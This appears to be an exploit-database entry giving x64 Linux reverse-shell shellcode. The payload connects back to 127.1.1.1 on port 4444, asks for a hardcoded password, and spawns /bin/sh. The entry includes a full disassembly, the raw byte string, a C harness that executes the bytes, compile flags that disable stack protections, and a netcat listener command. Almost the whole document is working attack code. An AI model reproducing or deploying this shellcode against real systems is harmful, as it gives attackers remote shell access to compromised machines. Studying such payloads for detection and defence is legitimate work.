Linux/x64 - Reverse (127.1.1.1:4444) Shell (/bin/sh) Shellcode (123 Bytes)

/*
 Exploit Title: Linux/x64 - Reverse Shell 
 Author: Guillem Alminyana
 Date: 2021-01-18
 Platform: GNU Linux x64
 =====================================
 
 This shellcode connects back to 127.1.1.1 address on port 4444
 Listener needs to be opened before execute: nc -lvp 4444
 
 Compile: 
   gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
*/

/*
   0:  6a 29                  push   0x29
   2:  58                     pop    rax
   3:  6a 02                  push   0x2
   5:  5f                     pop    rdi
   6:  6a 01                  push   0x1
   8:  5e                     pop    rsi
   9:  99                     cdq    
   a:  0f 05                  syscall 
   c:  50                     push   rax
   d:  5f                     pop    rdi
   e:  52                     push   rdx
   f:  68 7f 01 01 01         push   0x101017f
  14:  66 68 11 5c            pushw  0x5c11
  18:  66 6a 02               pushw  0x2
  1b:  6a 2a                  push   0x2a
  1d:  58                     pop    rax
  1e:  54                     push   rsp
  1f:  5e                     pop    rsi
  20:  6a 10                  push   0x10
  22:  5a                     pop    rdx
  23:  0f 05                  syscall 
  25:  6a 02                  push   0x2
  27:  5e                     pop    rsi
  28:  6a 21                  push   0x21
  2a:  58                     pop    rax
  2b:  0f 05                  syscall 
  2d:  48 ff ce               dec    rsi
  30:  79 f6                  jns    28 <loop_1>
  32:  6a 01                  push   0x1
  34:  58                     pop    rax
  35:  49 b9 50 61 73 73 77   movabs r9,0x203a647773736150
  3c:  64 3a 20 
  3f:  41 51                  push   r9
  41:  54                     push   rsp
  42:  5e                     pop    rsi
  43:  6a 08                  push   0x8
  45:  5a                     pop    rdx
  46:  0f 05                  syscall 
  48:  48 31 c0               xor    rax,rax
  4b:  48 83 c6 08            add    rsi,0x8
  4f:  0f 05                  syscall 
  51:  48 b8 31 32 33 34 35   movabs rax,0x3837363534333231
  58:  36 37 38 
  5b:  56                     push   rsi
  5c:  5f                     pop    rdi
  5d:  48 af                  scas   rax,QWORD PTR es:[rdi]
  5f:  75 1a                  jne    7b <exit_program>
  61:  6a 3b                  push   0x3b
  63:  58                     pop    rax
  64:  99                     cdq    
  65:  52                     push   rdx
  66:  48 bb 2f 62 69 6e 2f   movabs rbx,0x68732f2f6e69622f
  6d:  2f 73 68 
  70:  53                     push   rbx
  71:  54                     push   rsp
  72:  5f                     pop    rdi
  73:  52                     push   rdx
  74:  54                     push   rsp
  75:  5a                     pop    rdx
  76:  57                     push   rdi
  77:  54                     push   rsp
  78:  5e                     pop    rsi
  79:  0f 05                  syscall 
*/

#include <stdio.h>
#include <string.h>

unsigned char code[]= \
"\x6a\x29\x58\x6a\x02\x5f\x6a\x01\x5e\x99\x0f\x05\x50\x5f\x52\x68\x7f\x01\x01\x01\x66\x68\x11\x5c\x66\x6a\x02\x6a\x2a\x58\x54\x5e\x6a\x10\x5a\x0f\x05\x6a\x02\x5e\x6a\x21\x58\x0f\x05\x48\xff\xce\x79\xf6\x6a\x01\x58\x49\xb9\x50\x61\x73\x73\x77\x64\x3a\x20\x41\x51\x54\x5e\x6a\x08\x5a\x0f\x05\x48\x31\xc0\x48\x83\xc6\x08\x0f\x05\x48\xb8\x31\x32\x33\x34\x35\x36\x37\x38\x56\x5f\x48\xaf\x75\x1a\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\x52\x54\x5a\x57\x54\x5e\x0f\x05";

void main()
{
  printf("ShellCode Length: %d\n", strlen(code));
  int (*ret)() = (int(*)())code;
  ret();
}